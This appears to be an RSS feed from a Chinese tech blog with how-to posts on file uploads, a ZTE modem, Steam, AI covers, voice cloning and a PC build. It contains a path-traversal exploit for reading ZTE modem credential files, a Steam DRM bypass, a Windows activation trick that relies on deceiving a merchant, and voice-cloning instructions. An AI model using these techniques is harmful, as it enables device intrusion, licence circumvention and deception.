&lt;p&gt;&lt;em&gt;这种方法是在赌商家不会联网查询激活情况，当机子到商家那后，商家无法通过点击疑难解答来激活Windows。但是如果商家会刷机，一旦你的机子的Windows版本被刷回了Windows家庭中文版，就会自动激活，就露馅了&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>自建一个匿名文件上传终结点</title><link>https://2x.nz/posts/unknown-upload/</link><guid isPermaLink="true">https://2x.nz/posts/unknown-upload/</guid><description>你有没有遇到过一种场景？在学校/公司电脑需要带一个文件走，但是又不想安装远程软件。那么今天，教你无需U盘，让你在任何地方将你想要的文件带回你家！</description><pubDate>Sat, 08 Nov 2025 03:02:04 GMT</pubDate><content:encoded>&lt;h1&gt;视频&lt;/h1&gt;
&lt;p&gt;https://www.bilibili.com/video/BV1Hz1DBZEov/&lt;/p&gt;
&lt;h1&gt;明确需求&lt;/h1&gt;
&lt;p&gt;在做一个项目时，无论大小，首先我们要知道自己需要什么，哪些是刚需，哪些是次要的，哪些是根本不必要的&lt;/p&gt;
&lt;p&gt;深度思考一下，我觉得该项目使用场景应该在：当我处于非家庭环境，且手上有一台不直通家庭网络但是可连接至互联网的设备，需要传输一些非敏感文件且文件不大（如：文档，截图，小软件）&lt;/p&gt;
&lt;p&gt;那么大致的需求即为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;基于Web网页，制作一个前端页面，必须包含一个 &lt;code&gt;input file&lt;/code&gt; 。上传完成打印上传完成&lt;/li&gt;
&lt;li&gt;后端将文件放到一个存储空间。该存储空间必须在家庭网络内较方便的访问&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;方案对比&lt;/h1&gt;
&lt;p&gt;这里提供两种方案，各有优劣：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;方案一：对象存储&lt;/th&gt;
&lt;th&gt;方案二：本地服务器&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;稳定性&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐ 不依赖本地设备&lt;/td&gt;
&lt;td&gt;⭐⭐ 需要家庭电脑在线&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;复杂度&lt;/td&gt;
&lt;td&gt;⭐⭐⭐ 需要配置云函数&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐ 一行命令启动&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;成本&lt;/td&gt;
&lt;td&gt;对象存储费用&lt;/td&gt;
&lt;td&gt;无（家庭带宽）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;适用场景&lt;/td&gt;
&lt;td&gt;需要稳定运行&lt;/td&gt;
&lt;td&gt;家庭电脑常在线&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;方案一：EdgeOne Pages + 对象存储&lt;/h1&gt;
&lt;p&gt;如果你希望服务稳定运行，不依赖家庭设备在线状态，那么对象存储方案更适合你。&lt;/p&gt;
&lt;h2&gt;梳理思路&lt;/h2&gt;
&lt;p&gt;借助对象存储，我只需要找一个云函数连接到我的对象存储，然后提供一个上传端点即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/unknown-upload-1.DsBaGvpN.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;正式开始&lt;/h2&gt;
&lt;p&gt;于是我找到了EdgeOne Pages，它的Functions非常适合做这件事，且支持原生Node运行时，也就是 &lt;code&gt;node-functions&lt;/code&gt; 直接使用 &lt;code&gt;AWS-S3&lt;/code&gt; 这个NPM包再做一个最简单的前端上传页面，搞定！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/unknown-upload-2.CEWknSaJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;为了防止上传重名文件，每个文件上传后都会被重命名为 &lt;code&gt;原文件名_时间戳_IP&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;该项目已开源 &lt;a href=&quot;https://github.com/afoim/EdgeOnePageFunctionUnknownUploader-S3-&quot;&gt;afoim/EdgeOnePageFunctionUnknownUploader-S3-&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;方案二：Python uploadserver&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;更推荐： https://github.com/svenstaro/miniserve&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果你的家庭电脑通常保持在线，且追求简单易用，那么在自家电脑启动一个匿名文件上载器也是个不错的选择。&lt;/p&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;p&gt;确保你安装了 &lt;strong&gt;Python&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;安装 &lt;strong&gt;uploadserver&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install --user uploadserver
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，创建并进入一个新文件夹，作为 &lt;strong&gt;上传目录&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir upload
cd upload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行，并监听 &lt;strong&gt;IPv4&lt;/strong&gt; 的 &lt;strong&gt;8000端口&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m uploadserver 8000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;又或者，监听 &lt;strong&gt;IPv6&lt;/strong&gt; 的 &lt;strong&gt;8000端口&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m uploadserver --bind :: 8000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，你就可以在内网环境使用这个 &lt;strong&gt;文件上载器&lt;/strong&gt; 了
&lt;img src=&quot;https://2x.nz/_astro/py-uploadserver.vo9CpQjb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;打到公网&lt;/h2&gt;
&lt;h3&gt;方法一：使用EdgeOne进行IPv6回源&lt;/h3&gt;
&lt;p&gt;将你的IPv6做 &lt;strong&gt;DDNS&lt;/strong&gt; ，然后使用EdgeOne回源
&lt;img src=&quot;https://2x.nz/_astro/py-uploadserver-1.BHYa6WjF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;方法二：STUN（仅NAT1可用）&lt;/h3&gt;
&lt;p&gt;当你的家庭网络为 &lt;strong&gt;NAT1&lt;/strong&gt; ，则可以使用类似这样的软件将你的 &lt;strong&gt;内网端口&lt;/strong&gt; 直接打到 &lt;strong&gt;公网端口&lt;/strong&gt; （貌似该程序对TCP分片敏感，会导致RST） &lt;a href=&quot;https://github.com/MikeWang000000/Natter&quot;&gt;MikeWang000000/Natter: Expose your TCP/UDP port behind full-cone NAT to the Internet.&lt;/a&gt;
&lt;img src=&quot;https://2x.nz/_astro/py-uploadserver-2.Dp3x1Ze8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>ZTE光猫F450不拆机获取超密</title><link>https://2x.nz/posts/zte-f450-bridge/</link><guid isPermaLink="true">https://2x.nz/posts/zte-f450-bridge/</guid><description>朋友老早之前就想将光猫改为桥接，今天终于整上了，但奈何没有超密，不过，在互联网的帮助下，我们最终找到了解决方案</description><pubDate>Sat, 01 Nov 2025 06:42:54 GMT</pubDate><content:encoded>&lt;h1&gt;基本原理&lt;/h1&gt;
&lt;p&gt;通过外接USB通过官方的文件管理注入路径 &lt;code&gt;../..&lt;/code&gt; 来查看根目录，并将记录了光猫超密的文件复制到U盘并进行解密读取以知晓超密&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先准备一个U盘，&lt;strong&gt;必须带有 FAT32 格式的分区&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;插入光猫的USB口，等待识别&lt;/p&gt;
&lt;p&gt;进入光猫的文件管理，查看U盘内文件。此时F12，选中其中一个文件夹，将 HTML 代码改为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;javascript:;&quot; style=&quot;color:#535353;&quot;
   onclick=&quot;openfile(&apos;../..&apos;, false)&quot;
   title=&quot;System Volume Information&quot;&amp;gt;
  System Volume Information
&amp;lt;/a&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后点击该文件夹，等待几秒后就进入了光猫的 &lt;code&gt;/&lt;/code&gt; 目录&lt;/p&gt;
&lt;p&gt;复制 &lt;code&gt;/userconfig/cfg/db_user_cfg.xml&lt;/code&gt; 到U盘&lt;/p&gt;
&lt;p&gt;拔出U盘，插入电脑，将 &lt;code&gt;db_user_cfg.xml&lt;/code&gt; 拿出&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://www.nirsoft.net/utils/router_password_recovery.html&quot;&gt;RouterPassView - 从 Windows 上的路由器备份文件中恢复丢失的密码&lt;/a&gt; 下载&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/zte-f450-bridge.C_eiHK0Y.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/zte-f450-bridge-1.DL21UvDr.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解压并使用 &lt;code&gt;RouterPassView&lt;/code&gt; 打开 &lt;code&gt;db_user_cfg.xml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;搜索 &lt;code&gt;tele&lt;/code&gt; ，寻找超密&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/zte-f450-bridge-3.B2QH1rBZ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>如何绕过Steam直接启动Steam上的游戏？</title><link>https://2x.nz/posts/hook-steam-drm/</link><guid isPermaLink="true">https://2x.nz/posts/hook-steam-drm/</guid><description>经常买Steam单机游戏的小伙伴们都知道，Steam上的大部分游戏在启动时都要求Steam在后台运行，那么如果我只是在玩一个单机游戏又不想带Steam启动要怎么办呢？这篇文章来帮你</description><pubDate>Wed, 15 Oct 2025 06:39:40 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先我们需要有一个完整的Steam版的游戏包体&lt;/p&gt;
&lt;p&gt;前往 &lt;code&gt;Steam\steamapps&lt;/code&gt; 你会发现有很多的 &lt;code&gt;appmanifest_xxx.acf&lt;/code&gt; 文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/hook-steam-drm-3.1jRLY4pA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用 &lt;strong&gt;记事本&lt;/strong&gt; 挨个打开，知道找到你需要Hook的游戏，记录以下信息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/hook-steam-drm-4.UXYFeGP8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/Wu-Yijun/steam_client_loader&quot;&gt;Wu-Yijun/steam_client_loader&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载最新的文件名带有 &lt;strong&gt;Windows&lt;/strong&gt; 的 &lt;strong&gt;Release&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/hook-steam-drm-1.BFXgtr28.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解压，剔除无关文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/hook-steam-drm-2.D2pRPRh9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;ColdClientLoader.ini&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#My own modified version of ColdClientLoader originally by Rat431
[SteamClient]
Exe=manosaba.exe
ExeRunDir=.
ExeCommandLine=
#IMPORTANT:
AppId=3101040

SteamClientDll=steamclient.dll
SteamClient64Dll=steamclient64.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Exe&lt;/code&gt; 填写要启动的程序名称&lt;/p&gt;
&lt;p&gt;&lt;code&gt;AppId&lt;/code&gt; 填写上一步获取的&lt;/p&gt;
&lt;p&gt;保存&lt;/p&gt;
&lt;p&gt;进入 &lt;code&gt;steam_settings&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;force_steamid.txt&lt;/code&gt; 填入上一步获取的 &lt;code&gt;LastOwner&lt;/code&gt; 字段的值&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;DLC.txt&lt;/code&gt; 填入 &lt;code&gt;AppId=Name&lt;/code&gt;，如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3101040=魔法少女ノ魔女裁判
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回到根目录，将所有文件复制到游戏文件夹内，如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/hook-steam-drm-5.C7T-qCkg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;随后运行， &lt;code&gt;steamclient_loader.exe&lt;/code&gt; 即可在不启动Steam的情况下直接拉起游戏&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/VMWSQyHhF5.Stk6fQsV.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>手把手教你AI翻唱！</title><link>https://2x.nz/posts/rvc/</link><guid isPermaLink="true">https://2x.nz/posts/rvc/</guid><description>利用RVC训练音色模型然后使用Replay直出AI翻唱！</description><pubDate>Mon, 13 Oct 2025 06:23:12 GMT</pubDate><content:encoded>&lt;h1&gt;视频教程&lt;/h1&gt;
&lt;p&gt;https://www.bilibili.com/video/BV19F41zPEnM/&lt;/p&gt;
&lt;h1&gt;流程&lt;/h1&gt;
&lt;p&gt;RVC：训练角色音色模型&lt;/p&gt;
&lt;p&gt;Replay：利用音色模型+原曲进行AI翻唱&lt;/p&gt;
&lt;p&gt;UVR&amp;amp;MSST：进行人声伴奏分离&lt;/p&gt;
&lt;h1&gt;准备音源&lt;/h1&gt;
&lt;p&gt;至少10分钟，推荐1小时。音频内仅允许有一种音色，可以有停顿，如果想要更高质量可以自己裁剪停顿处&lt;/p&gt;
&lt;h1&gt;利用RVC训练模型&lt;/h1&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://github.com/RVC-Project/Retrieval-based-Voice-Conversion-WebUI&quot;&gt;RVC-Project/Retrieval-based-Voice-Conversion-WebUI: Easily train a good VC model with voice data &amp;lt;= 10 mins!&lt;/a&gt; 根据你的系统和显卡来进行下载，或者使用该链接下载（国内高速） &lt;a href=&quot;https://www.yuque.com/flowercry/hxf0ds&quot;&gt;语音克隆&amp;amp;变声器 整合包下载&lt;/a&gt; 注意不要下错了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-1.DBuesVPm.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接运行 &lt;code&gt;go-web.bat&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-2.aHdBLVEt.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入 WebUI 并切换到训练一栏&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-3.Bmz1wDFV.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先写模型名称&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-4.CbMWAwud.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后将你的音源放到一个空文件夹&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-5.DOc4Ub0X.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后填进去&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-6.w4GRK4YQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;总训练轮数推荐50 ~ 200&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-7.BMGd6C7Z.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后点击一键训练（需要很久，建议晚上睡觉前训练）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-8.CGEoe4EH.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;训练结束后可以在 &lt;code&gt;assets/weights&lt;/code&gt; 找到模型文件， &lt;code&gt;.pth&lt;/code&gt; 结尾的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-9.BhbJRXkN.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;利用Replay做AI翻唱&lt;/h1&gt;
&lt;p&gt;下载 &lt;a href=&quot;https://www.weights.com/replay&quot;&gt;Replay&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;首先 &lt;strong&gt;Select Audio&lt;/strong&gt; 选择你的原歌曲&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Model&lt;/strong&gt; 选择刚刚训练出的模型&lt;/p&gt;
&lt;p&gt;然后点击 &lt;strong&gt;Convert Audio&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-10.CD71B2n1.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在输出的文件的 &lt;strong&gt;View in Folder&lt;/strong&gt; 可以找到 &lt;strong&gt;干净的AI人声&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-11.DAMrKooC.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;伴奏和人声分离&lt;/h1&gt;
&lt;h3&gt;UVR&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你是50系显卡请前往&lt;a href=&quot;https://github.com/Anjok07/ultimatevocalremovergui/issues/1889&quot;&gt;GPU Acceleration Hangs on RTX 5070Ti (Driver 576.80, CUDA 12.9) · Issue #1889 · Anjok07/ultimatevocalremovergui&lt;/a&gt;通过&lt;a href=&quot;https://www.mediafire.com/file_premium/4jg10r9wa3tujav/UVR_Patch_4_24_25_20_11_BETA_full_cuda_12.8.zip/file&quot;&gt;UVR_Patch_4_24_25_20_11_BETA_full_cuda_12.8&lt;/a&gt;下载适用于50系显卡的UVR&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;下载 &lt;a href=&quot;https://github.com/Anjok07/ultimatevocalremovergui&quot;&gt;Anjok07/ultimatevocalremovergui: GUI for a Vocal Remover that uses Deep Neural Networks.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;首先下载模型，选择设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-12.DG3QsI0a.webp&quot; alt=&quot;&quot; /&gt;
选择 &lt;strong&gt;Download Center&lt;/strong&gt; 下载 &lt;strong&gt;VR  Arch&lt;/strong&gt; 的 &lt;strong&gt;5_HP-Karaoke-UVR&lt;/strong&gt; 模型。然后回到首页
&lt;img src=&quot;https://2x.nz/_astro/rvc-13.DhShzrGy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先通过 &lt;strong&gt;Select Input&lt;/strong&gt; 选择原音频&lt;/p&gt;
&lt;p&gt;然后通过 &lt;strong&gt;Select Output&lt;/strong&gt; 选择输出的文件夹&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CHOOSE PROCESS METHOD&lt;/strong&gt; 选择 &lt;strong&gt;VR Architecture&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CHOOSE VR MODEL&lt;/strong&gt; 选择我们刚刚下载的 &lt;strong&gt;5_HP-Karaoke-UVR&lt;/strong&gt; 模型&lt;/p&gt;
&lt;p&gt;勾选 &lt;strong&gt;GPU Conversion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后点击 &lt;strong&gt;Start Processing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-14.CqKZFFCA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输出文件夹中 &lt;strong&gt;Instrumental&lt;/strong&gt; 为伴奏， &lt;strong&gt;Vocals&lt;/strong&gt; 为人声&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-15.7O1v93G4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;MSST&lt;/h3&gt;
&lt;p&gt;下载 &lt;a href=&quot;https://github.com/SUC-DriverOld/MSST-WebUI&quot;&gt;SUC-DriverOld/MSST-WebUI: A WebUI app for Music-Source-Separation-Training and we packed UVR together!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;双击 &lt;code&gt;go-webui.bat&lt;/code&gt; 运行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-16.JgmMZFWW.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先去安装模型。每个模型的最终输出文件可能不一样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-17.DzfQuHOT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后都是字面意思了，随后点击 &lt;strong&gt;输入音频分离&lt;/strong&gt; 开始转换&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rvc-18.Tpi_PqIO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>手把手教你克隆音色！</title><link>https://2x.nz/posts/index-tts2/</link><guid isPermaLink="true">https://2x.nz/posts/index-tts2/</guid><description>仅需几秒的语音就能克隆音色，无需繁琐配置，一键启动！随时随地做蓝底神人小视频！</description><pubDate>Mon, 13 Oct 2025 04:19:06 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;视频教程： https://www.bilibili.com/video/BV1qv41zgEjE/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;请全程魔法&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;安装Git Lfs： &lt;code&gt;git lfs install&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;克隆仓库： &lt;a href=&quot;https://github.com/index-tts/index-tts&quot;&gt;index-tts/index-tts: An Industrial-Level Controllable and Efficient Zero-Shot Text-To-Speech System&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;拉取Git Lfs文件： &lt;code&gt;git lfs pull&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;安装UV（Python包管理器，类似pip）： &lt;code&gt;pip install -U uv&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;安装依赖： &lt;code&gt;uv sync --extra webui&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;安装hf-cli： &lt;code&gt;uv tool install &quot;huggingface-hub[cli,hf_xet]&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;从hf下载模型： &lt;code&gt;hf download IndexTeam/IndexTTS-2 --local-dir=checkpoints&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;运行web UI： &lt;code&gt;uv run webui.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;浏览器打开 &lt;code&gt;7860&lt;/code&gt; 端口&lt;/p&gt;
&lt;h1&gt;简单使用&lt;/h1&gt;
&lt;p&gt;WebUI页面长这样
&lt;img src=&quot;https://2x.nz/_astro/index-tts2-1.UEwTL46f.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先将音色参考音频输入（几秒即可）&lt;/p&gt;
&lt;p&gt;然后输入要朗读的文本&lt;/p&gt;
&lt;p&gt;最终点击生成&lt;/p&gt;
&lt;h1&gt;调教&lt;/h1&gt;
&lt;p&gt;推荐使用 &lt;strong&gt;使用情感向量控制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/index-tts2-2.CegKCpdh.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>人生中的第一台自己组装的台式！键盘亮显示器必亮！</title><link>https://2x.nz/posts/first-pc/</link><guid isPermaLink="true">https://2x.nz/posts/first-pc/</guid><description>很早就想装一个台式常驻家里了，这次阴差阳错的获得了一个机会，至于为什么我称它为阴差阳错，请看VCR</description><pubDate>Fri, 10 Oct 2025 21:15:38 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;我知道大家来看都是想听听我分享第一次手动组装台式机的所想所感，但是，请容许我先讲述一下在这之前的事情，这将解释为什么我在该文简介介绍是 &lt;strong&gt;阴差阳错的获得了一个机会&lt;/strong&gt; 同时，这也是 &lt;strong&gt;不得不品的一环&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;让我们将时间轴拨动到我还持有着 &lt;strong&gt;极光X笔记本&lt;/strong&gt; 的时候，虽然前几期文章大致讲过了，我把极光X卖了换了Mac，但是就仅止于此了，实际上这仅仅只是一个平庸的开始&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-10-11-05-45-03-97_e41039de8eaacf2.ChzoQrY-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-10-11-05-47-07-88_c03b3f779c2dfd4.BlD2onTg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/IMG20250929204541.DhV513KS.webp&quot; alt=&quot;&quot; /&gt;
那么首先，因为我和朋友打 &lt;strong&gt;卡拉彼丘&lt;/strong&gt; 红温了，那天就觉得 &lt;strong&gt;我从来没有觉得打游戏开心过&lt;/strong&gt; ，于是便决定将手上的Windows笔记本，也就是极光X卖掉，然后买一个MacBook专注生产力（难绷）&lt;/p&gt;
&lt;p&gt;我这个人执行力很高，第一天就上 &lt;strong&gt;转转&lt;/strong&gt; 把极光X卖了，然后立马下单了一个25年的MacBook Air，也就是前几期文章说的 &lt;strong&gt;我为什么买了个Mac&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接下来，用了几天，Mac不愧是Mac，只要你是拿他干活，那M4+macOS将是神魔同体，超强的处理器性能+高度统一的工作流。不管你是拿他剪视频，修图，做海报，写网页，改代码等等，只要是生产力，那Mac就是信手拈来&lt;/p&gt;
&lt;p&gt;但是，俗话说的好， &lt;strong&gt;饱暖思淫欲&lt;/strong&gt; 。人不可能一天24小时除去睡觉的8小时16小时都在工作，这不现实，也太压抑。所以，在Mac到手的第二天我就开始研究这玩意怎么玩 &lt;strong&gt;GalGame&lt;/strong&gt; 至于为什么不研究怎么玩 &lt;strong&gt;卡拉彼丘&lt;/strong&gt; ，一是当时红温状态仍在持续，二是我早就知道在macOS上运行Windows程序用的还是Wine那一套。而Wine虽然发展了这么多年，还是过不去竞技游戏的 &lt;strong&gt;反作弊&lt;/strong&gt; 这一关。所以就没想着在Mac上玩了，况且层层转译不仅消耗性能，也徒增功耗，我要是真想玩游戏，我为什么不用Windows？&lt;/p&gt;
&lt;p&gt;怀疑的种子已在心中生根发芽，那么，只需要一把火即可彻底焚尽我的 &lt;strong&gt;苹果梦&lt;/strong&gt; 。那么这把火就是： &lt;strong&gt;关于我买了个Mac但是没有买DP转C的线导致我没法在显示器上用macOS同时因为没有C口拓展坞我的鼠标键盘也用不上那我是不是这辈子就只能用触控板和蝶式键盘了亚达亚达怎带亚达这件事&lt;/strong&gt; 。如果你看懂上面的加粗文字了的话，你可能会好奇，欸，为什么不尝试买个DP转C口的线呢？（实际上后面真买了）为什么不尝试买个拓展坞呢？那是因为&lt;/p&gt;
&lt;p&gt;我这个人考虑事情都是顾全大局，当我认为Mac不可能陪伴我较长时间这个结论得出时，抛弃Mac只是时间问题&lt;/p&gt;
&lt;p&gt;而后，顺理成章的在 &lt;strong&gt;爱回收&lt;/strong&gt; （因为报价多300）把Mac卖了，质检小哥问我用了几天的时候，我说5天，他愣住了，我说： &lt;strong&gt;哎，还是Windows好用，macOS真用不明白&lt;/strong&gt; ，随后他也附和道： &lt;strong&gt;是的是的&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/Screenshot_2025-10-11-05-48-04-91_4fbb30eb7b71661.CFueDglu.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;总之，无论过程如何，我现在已经没有电脑可以用了，那么下一步肯定是抓紧再整个电脑过来&lt;/p&gt;
&lt;p&gt;可能是一时心急，一不小心发现了京东有一个闪购功能，又一不小心溢价了一千买了个 &lt;strong&gt;暗影精灵11锐龙版&lt;/strong&gt; ，闪购确实很闪啊，半小时不到就送到了&lt;/p&gt;
